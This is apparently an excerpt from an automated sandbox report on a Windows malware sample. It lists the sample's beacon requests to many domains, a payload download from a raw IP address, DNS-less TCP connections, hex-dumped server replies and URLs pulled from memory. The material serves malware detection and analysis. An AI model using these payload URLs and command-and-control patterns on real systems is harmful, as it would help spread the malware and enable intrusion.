Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=lEjG/k1PkI4zOJF8oXanKdsdehVTXLpE1fkbJc1gJRmE6X0hy4jq+etMznheHQbAVKud&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.1cdpwp.cfdConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=ZV58cyt7lud3nw6eSnCnw3hvj6dUBdrYkOi4GK43GwnmJSRRdDKHOou2s3Asj9CH0dO3 HTTP/1.1Host: www.qwevqgjw.cfdConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=8VzwEhVnpj9LHHh/dBVXH/vZWr+ED3Zs+ywwPL0zx8n2VWRBGUwo2mcFvQSxFjo7HGkT&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.civzbpp.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=bHN4wORI7H+NWcMfY9gYOUeN/ujL3+jkL0HCUOGFoqjmS/sbmAxe1bbDFfr2wZF6/DmY HTTP/1.1Host: www.trullys.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=TIWzyoGdrQFlteRTPc2/q3mkvp99BCJHnTod9wRXADTUDAS/FCyUAwX7vGiWwWxn+VUq&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.kidomarketing.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=FUnpMs8zmvOjmROP3PnlROYxRJ7cCFlgEWWc0/bexyWbb6gAbwR4+JgC7sIqrRtPqJOK&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.peterscanner.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=guECCXqLjKMlTgXYmWlTNZtjq1eNGXNQ/IdW5sYhHpF3w1JDH28dgIACtLNueUjQEvWN HTTP/1.1Host: www.v3rqa4.cfdConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=HLFfgtSIv2BFOuqEXXmjMsOgX5uXR5t8szQFcDcueEkA15zyo77SlbLbtLZStBcBunAe&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1Host: www.windyhillcnc.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=OQWpPi6uI3UGBYQJZSbMJqnqSY5RWfuSjay0cT6R5KncvGzSjOF/jghVxSWpT7vNO9hf&1bo=C0GXuXghTTwLYH3P HTTP/1.1Host: www.wecanshipit.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?1bo=C0GXuXghTTwLYH3P&QJB0xT=61ESqerRCvuT4VGqBSm67J6rRXzHoZWImFNiyKjsxOo7CEi29JlSDgSUvZ82cb9D0UFy HTTP/1.1Host: www.porterhayranch.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?QJB0xT=ExO+mlRW1o/NYIiPH+dEMyGuDqrixouKzp4y+1w6c7Z43bD4dH58n5BRPsGlc5F6RPX6&1bo=C0GXuXghTTwLYH3P HTTP/1.1Host: www.clasmiv.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ms14/?1bo=C0GXuXghTTwLYH3P&QJB0xT=MLQ+HTgVUn3jaFS2ILzuAjsIJjNu+1+3m/Sj2Q2hvWs5q9gbPJxLuvYlh2aS2xbCyKej HTTP/1.1Host: www.tissageparis.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: global traffic

HTTP traffic detected: GET /windows/f/ayewoMsIHKx140.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Host: 192.3.26.168Cache-Control: no-cache

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 18 Jul 2023 07:49:07 GMTContent-Type: text/htmlContent-Length: 291ETag: "64b05e9c-123"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Tue, 18 Jul 2023 07:51:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingX-Sorting-Hat-PodId: 307X-Sorting-Hat-ShopId: 79231287604X-Dc: gcp-europe-west3X-Request-ID: d45d31e3-01ec-4b67-b963-1bcf04a24364X-Download-Options: noopenX-XSS-Protection: 1; mode=blockX-Permitted-Cross-Domain-Policies: noneX-Content-Type-Options: nosniffCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9DmXszm%2FUDeBp9itDXx3AKbHtyqgxxXLMaOv4akt3DyPDqhTm%2BCGmGNxR9C1IzgL8LOb7B0JE65hWA0s7BZ17NeSRtgL6l%2FD%2Bigld832fPhfjD3uyq9%2BADgzfKmOe5Pv6w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server-Timing: cfRequestDuration;dur=14.000177Server: cloudflareCF-RAY: 7e8923d33d3503b8-FRAalt-svc: h3=":443"; ma=86400Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" content="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;padding:0}html{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-height:100%}body{paddi
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 18 Jul 2023 07:53:12 GMTContent-Type: text/htmlContent-Length: 291ETag: "64b05e3f-123"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 626Connection: closeDate: Tue, 18 Jul 2023 07:54:35 GMTServer: ApacheData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 22 3e 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 30 61 33 32 38 63 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 30 65 6d 3b 22 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 68 31 3e 0a 20 20 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 38 65 6d 3b 22 3e 0a 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 63 61 6e 27 74 20 66 69 6e 64 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 72 72 65 73 70 6f 6e 64 69 6e 67 20 74 6f 20 74 68 65 20 55 52 4c 20 79 6f 75 20 74 79 70 65 64 20 69 6e 2e 0a 20 20 3c 2f 70 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Tue, 18 Jul 2023 07:54:55 GMTContent-Type: text/htmlContent-Length: 291ETag: "64b05e66-123"Via: 1.1 googleConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8" /> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon" /> <title>Forbidden</title> </head> <body> <h1>Access Forbidden</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Jul 2023 07:55:16 GMTServer: Apache/2.4.29 (Ubuntu)Content-Length: 277Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 63 6c 61 73 6d 69 76 2e 78 79 7a 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.clasmiv.xyz Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Tue, 18 Jul 2023 07:55:37 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 34 39 31 0d 0a 3f 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 66 69 6c 65 5f 67 65 74 5f 63 6f 6e 74 65 6e 74 73 28 2e 2f 74 69 74 6c 65 2e 74 78 74 29 3a 20 66 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 73 74 72 65 61 6d 3a 20 4e 6f 20 73 75 63 68 20 66 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 69 6e 20 3c 62 3e 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 76 69 76 69 2e 63 6f 6d 2f 72 75 6e 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 32 36 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 3e 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2e 73 70 6c 69 74 28 27 3a 27 29 5b 30 5d 3b 0a 20 20 20 20 69 66 20 28 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 3d 3d 20 27 68 74 74 70 73 27 29 20 7b 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 7a 7a 2e 62 64 73 74 61 74 69 63 2e 63 6f 6d 2f 6c 69 6e 6b 73 75 62 6d 69 74 2f 70 75 73 68 2e 6a 73 27 3b 0a 20 20 20 20 7d 0a 20 20 20 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 3a 2f 2f 70 75 73 68 2e 7a 68 61 6e 7a 68 61 6e 67 2e 62 61 69 64 75 2e 63 6f 6d 2f 70 75 73 68 2e 6a 73 27 3b 0a 20 20 20 20 7d 0a 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0a 20 20 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 62 70 2c 20 73 29 3b 0a 7d 29 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0a 20 20 68 6d 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 39 61 33 66 32 39 66 30 39 62 30 66 35 32 61 31 33 64 65 65 33 64 62 64 31 37 38 65 30 33 61 33 22 3b 0a 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 20 0a 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 68 6d 2c 20 73 29 3b 0a 7d 29 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 69 64 3d 22 76 69

Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168
Source: unknown	TCP traffic detected without corresponding DNS query: 192.3.26.168

Source: sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.26.168/
Source: sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.26.168/$
Source: sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049D2000.00000004.00000020.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3374583625.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.26.168/windows/f/ayewoMsIHKx140.bin
Source: sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.26.168/windows/f/ayewoMsIHKx140.binn
Source: sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.26.168/windows/f/ayewoMsIHKx140.binp
Source: explorer.exe, 00000004.00000003.6362930968.000000000CE21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.7937341605.000000000CE21000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: explorer.exe, 00000004.00000003.4663633920.000000000CF05000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.6362930968.000000000CF05000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.3251752241.000000000CF05000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.7937341605.000000000CF05000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: explorer.exe, 00000004.00000003.4663633920.000000000CF05000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.6362930968.000000000CF05000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.3251752241.000000000CF05000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.7937341605.000000000CF05000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: explorer.exe, 00000004.00000003.4663633920.000000000CD96000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: explorer.exe, 00000004.00000003.6362930968.000000000CE21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.7937341605.000000000CE21000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000004.00000002.7928708193.0000000009B58000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/Omniroot2025.crl0
